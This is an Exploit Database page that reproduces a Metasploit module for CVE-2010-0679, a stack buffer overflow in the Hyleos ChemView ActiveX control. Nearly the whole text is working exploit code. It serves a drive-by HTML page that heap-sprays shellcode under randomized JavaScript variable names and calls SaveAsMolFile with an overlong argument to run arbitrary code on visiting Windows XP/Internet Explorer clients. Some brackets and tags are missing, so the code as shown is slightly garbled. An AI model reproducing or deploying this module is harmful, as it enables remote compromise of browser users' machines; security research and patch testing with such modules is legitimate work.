Hyleos ChemView – ActiveX Control Stack Buffer Overflow (Metasploit)

Exploit Database
102 阅读

作者： Metasploit

日期： 2010-07-27
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16500/

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# $Id: hyleos_chemviewx_activex.rb 9935 2010-07-27 02:25:15Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking # heap spray :-/

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos

ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods

with an overly long first argument, an attacker can overrun a buffer and execute

arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory

'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module

'jduck' # converted HttpServer module

'Version'=> '$Revision: 9935 $',

'References' =>

[

[ 'CVE', '2010-0679' ],

[ 'OSVDB', '62276' ],

[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11422/' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]

'DisclosureDate' => 'Feb 10 2010',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"

progid = "HyleosChemView.HLChemView"

methods = [ "ReadMolFile", "SaveAsMolFile" ]

method = methods[rand(methods.length)]

method = "SaveAsMolFile"

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# It may be possible to create a more robust exploit, however --

# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)

# 2. The buffer overflow does not appear to be entirely straight forward.

# Encode the shellcode

shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers

nops = Rex::Text.to_unescape([target.ret].pack('V'))

ret = Rex::Text.uri_encode([target.ret].pack('L'))

blocksize = 0x40000

fillto= 300

offset = target['Offset']

# Randomize the javascript variable names

chemview = rand_text_alpha(rand(100) + 1)

j_shellcode= rand_text_alpha(rand(100) + 1)

j_nops = rand_text_alpha(rand(100) + 1)

j_ret= rand_text_alpha(rand(100) + 1)

j_headersize = rand_text_alpha(rand(100) + 1)

j_slackspace = rand_text_alpha(rand(100) + 1)

j_fillblock= rand_text_alpha(rand(100) + 1)

j_block= rand_text_alpha(rand(100) + 1)

j_memory = rand_text_alpha(rand(100) + 1)

j_counter= rand_text_alpha(rand(30) + 2)

content = %Q|<html>

#{j_shellcode}=unescape('#{shellcode}');

#{j_nops}=unescape('#{nops}');

#{j_headersize}=20;

#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

#{j_memory}=new Array();

for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';

for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

#{chemview}.#{method}(#{j_ret});

</script>

</html>|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end